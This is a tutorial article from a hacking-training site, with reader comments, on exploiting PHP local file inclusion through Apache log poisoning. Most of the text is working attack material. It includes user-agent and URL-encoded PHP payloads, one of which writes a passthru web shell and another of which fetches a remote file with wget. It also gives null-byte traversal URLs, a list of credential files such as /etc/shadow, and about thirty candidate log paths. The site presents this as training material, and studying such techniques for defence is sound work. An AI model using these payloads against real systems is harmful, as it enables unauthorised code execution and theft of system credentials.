EG Information

Main Index
EG Manual
Disclaimer
Legal Information
Hall of Fame
Hall of Shame
Member Rankings
Members List
Meet the Staff
Hacker's Home Page

Training Missions

Read Me First
Basic Skills
Realistic Scenarios
Cryptography
Software Cracking
Linux ELF Binary Cracking
Logical Thinking
Programming
Captcha Cracking
Patching
Steganography
Deface This Wall
/dev/null
/dev/urandom
/dev/extra

Knowledge Bank

Discussion Forums
Exploit Database New
PasteBin New
RSS Feeds RSS
Articles / Tutorials
Videos
Online EG MP3 Player Radio
Downloads
Tools

Code Resources

Submit Code
Ajax
ASM
Bash
C
CPP
Csharp
Delphi
Haskell
Java
Javascript
Jython
Lisp
mIRC
MySQL
Perl
PHP
Python
QBASIC
VisualBasic

Pimp Us Out!

Review enigmagroup.org on alexa.com

Has Enigma Group Helped You? Then Help Us By Advertising For Us. Place One Of The Following Images On Your Site And Create A Link Back To Enigma Group.

Enigma Group

Enigma Group

Enigma Group

Enigma Group

 

Affiliates

hackhound.org

suck-o.com

hack.org.za

flyninja.net

 

Enigma Group's Articles



Return to Category Selection

LFI Apache log poisoning - Submitted By: Ausome1 2011-08-13 11:54:48
LFI Apache Log Poisoning by Ausome1

Here's a quick overview:

If you find a file inclusion vuln and you can't do a remote file include (RFI) attack on it but you can still use the LFI to view things outside the /home/$user directory (open_base turned off). What you can do to include some PHP code for you to execute on the server is to poison some logs. Apache is a good one to do.

There are 2 files for Apache we can try to attack, the access_log and the error_log. To attack the Apache access log we can install the Firefox extension User Agent Switcher. What we do is put some php code in our user agent like so:

<?php phpinfo();?>

or another example <?php passthru('wget -0 /tmp/cmd.php http://www.example_site.com/cmd.txt');?>

Now set FF to use that php_info User Agent you just made and visit the web page. Apache has now added your user agent string to the access_log.

Now we need to find where these Apache log files are located, and use our LFI to go to them, ex:

http://example_site.com/index.php?view=../../../../../../etc/httpd/logs/access_log%00

This will inlcude the log and execute your php code.

As and FYI you can use double quotes and backslashes in your UA, it messes up the Apache access log and you just get a parse error.

So do something like, in your UA:

<?php file_put_contents('/tmp/cmd.php', '<?php passthru(stripslashes($_GET[cmd]));?>');?>

Single quotes are fine. and array indexes without quotes are fine use $_GET[cmd] instead of $_GET['cmd'];

Now there is a downside to attacking the access_log. On busy sites they tend to get big. If the file is to big, your php script will time out.

So you may have to wait till the logs rotate on Sunday nights (usually) and attack then.

Or you can try the Apache error_log, they tend to be smaller.

How to attack the error_log:

This one we don't use the User Agent, we can get php code into the log via the url

What we do is cause a 404 with our php code:

http://example_site.com/%3C%3Fphp%20phpinfo%28%29%3B%3F%3E   <== url encoded <?php phpinfo();?>

YOu have to url encode your php because of the ? Apache think everythign after it is the query string and drops it.

Now that we have poisoned the error_log we can LFI to it and include our PHP code.

I like to use the FireFox extension hackbar for this one. You can write your php code, highlight it, and click urlencode, then execute.

Also, Apache error logs arent't the only things you can attack. Other programs have log files as well, and also you if a website stores user input into a session variable that is stored on the hard drive. You can LFI to the session file and include that.

Heres a couple of places that may be interesting to "visit" with your LFI:

/etc/passwd
/etc/shadow
/etc/group
/etc/security/group
/etc/security/passwd
/etc/security/user
/etc/security/environ
/etc/security/limits
/usr/lib/security/mkuser.default

Possible log locations:

../apache/logs/error.log
../apache/logs/access.log
../../apache/logs/error.log
../../apache/logs/access.log
../../../apache/logs/error.log
../../../apache/logs/access.log
../../../../../../../etc/httpd/logs/acces_log
../../../../../../../etc/httpd/logs/acces.log
../../../../../../../etc/httpd/logs/error_log
../../../../../../../etc/httpd/logs/error.log
../../../../../../../var/www/logs/access_log
../../../../../../../var/www/logs/access.log
../../../../../../../usr/local/apache/logs/access_log
../../../../../../../usr/local/apache/logs/access.log
../../../../../../../var/log/apache/access_log
../../../../../../../var/log/apache2/access_log
../../../../../../../var/log/apache/access.log
../../../../../../../var/log/apache2/access.log
../../../../../../../var/log/access_log
../../../../../../../var/log/access.log
../../../../../../../var/www/logs/error_log
../../../../../../../var/www/logs/error.log
../../../../../../../usr/local/apache/logs/error_log
../../../../../../../usr/local/apache/logs/error.log
../../../../../../../var/log/apache/error_log
../../../../../../../var/log/apache2/error_log
../../../../../../../var/log/apache/error.log
../../../../../../../var/log/apache2/error.log
../../../../../../../var/log/error_log
../../../../../../../var/log/error.log

Also, looking in the httpd.conf file might give the location of the log files if they are using custom names.

Return to Category Selection
Comment By: AlwaysAStudent 2011-08-13 23:18:04
Thankyou!! Very imformative!

Comment By: SaMTHG 2011-08-18 10:38:37
Very good article, do you think you could also put up something on how to exploit the access_log/access.log please? Aside from that 10/10

Comment By: Ausome1 2011-08-19 07:48:32
I do tell you how to poison the access log via the User Agent.

Comment By: Adamjem 2011-08-19 15:15:26
nice article, easy to understand. thanks for the info!

If you wish to submit a comment, you must be a registered member and logged in.

Login or Register.



Return to Category Selection

 

Who Visited EnigmaGroup Today?

1394 Guests, 222 Users (218 Spiders)
tgm001, ssmaslov, famous0123, Galagatron, junaid_junaid59, psychomarine, Dregoon, cat1vo, plex, Patrickk, mjneat, Aska, Beat_Slayer, Molinaro, M0rdak, Ausome1, dark_void, Imre, TheCheeseDemon, rockcraft, Vreality2007, mmndglxuwn, m0rt, unholyblood, iterrumzz, VurbTrurb, CJ_Omaha, Mayonoula, MAMWOURBROR, mutabor, gobinda, cossyDrybrich, Razin, zaCruBumas8, hunja, johny34, pantoufle, bagy, arctica, hackarchives, UsedDeteKef, Peculator, Fadhilat606, TheTrueMonarch, Pascall01, hackaday, Tjm, arndevil, flairvelocity, lol, alphbond, kdivanov, elizbethallis6, Rik, bn11, BorgBot, SHASHANK101hello, 4poc4lyptic, ksajxai, nbmorri1, electro-technic, saraf, شمالي عرعر, lamb, AutobotPrime, Underleaf, The End, tomtombomb, killobyte, snowgirlx, so_saucey, zerolife, Althor, Cramps, Hekser, Hyperborn, cyber-guard, jhgrunn, cobra, Partisan, MAZI_, cyborg, GenbreedX, moel77, cliptoX, pwnpwnlolz, letshavepie, Mrwormz, yshiau, mirmo, roozyoppomo, soft_devil, cls777, scoobywan, Reiversed, joshua, st3alth, Afrika, PaiffDryday, venter, Anthony12796, sh3llcod3, 8FIGURE, Rannim, Evil1, maloaboy, BACanON, SlayingDragons, Repuhlsive, IvanDimitriev, lolzsec, 1RiB, mzungudo, Micro_Geek, iMaxx, aciboummamymn, k0unterkulcher, somebody777, m14m16, GoododotAlcob, negasora, Rastii, UninueMem, JohnJohnJohn, Swifsolja, ad.conquest, ngolatkar, Infinity8, Jigoku, thesupervisor, p0is0n5ting, kernel_mod, AKL, GothicLogic, themastersinner, dnatrixene135, ChewBigRed, kalak55, sejem, cve916, pollolololo, triecturn, Violatedsmurf, Ops, jmp, xsiemich, generalisimo, strudels, ga3ttpom, KingOfBritains, epoch_qwert, suten, FriskyKat, Ryuske, Adonis Achilles, ubqbcdzzhf, 3vil, Nightraven, US£RNAM£, Weindittewcon, Batesheelocot, GSmyrlis, MaxMeier, Elite.America, rabbidmind, Psiber_Syn, phoenix22, imittyerrotte, peewster, cyberturtle, ctb, dexgeda, sdw, Pizza, White_widdow, devarian, finesse, Nature112091777, Danc7171, Alphadragon, Estadagause, 53QR10U5, Xargos, Alkomage, hardlock, Barry Gonzoles, MineDweller, Gkjt, N4g4c3N, [I]nfectedbug, wimsteege, aqr5zdcw, xin214, Bugshuppy, SnoopSky, Hessesian, voodooKobra, sKcarr, IROverRated, W1F1G3NJU75U, Baddy, ziadmosaan, gamble86, realzs, CruelDemon, Shinju, aVoid, aquiredanonymity, kukumumu, web_request, callmeneon, KissMyDAFFODIL, Feld Grau, Abhinav2107, prabhataditya, mbuyiselo, shumer, phenom216, princennamdi, huskyboiza, ninety-nine, lucca65
 
Enigma Group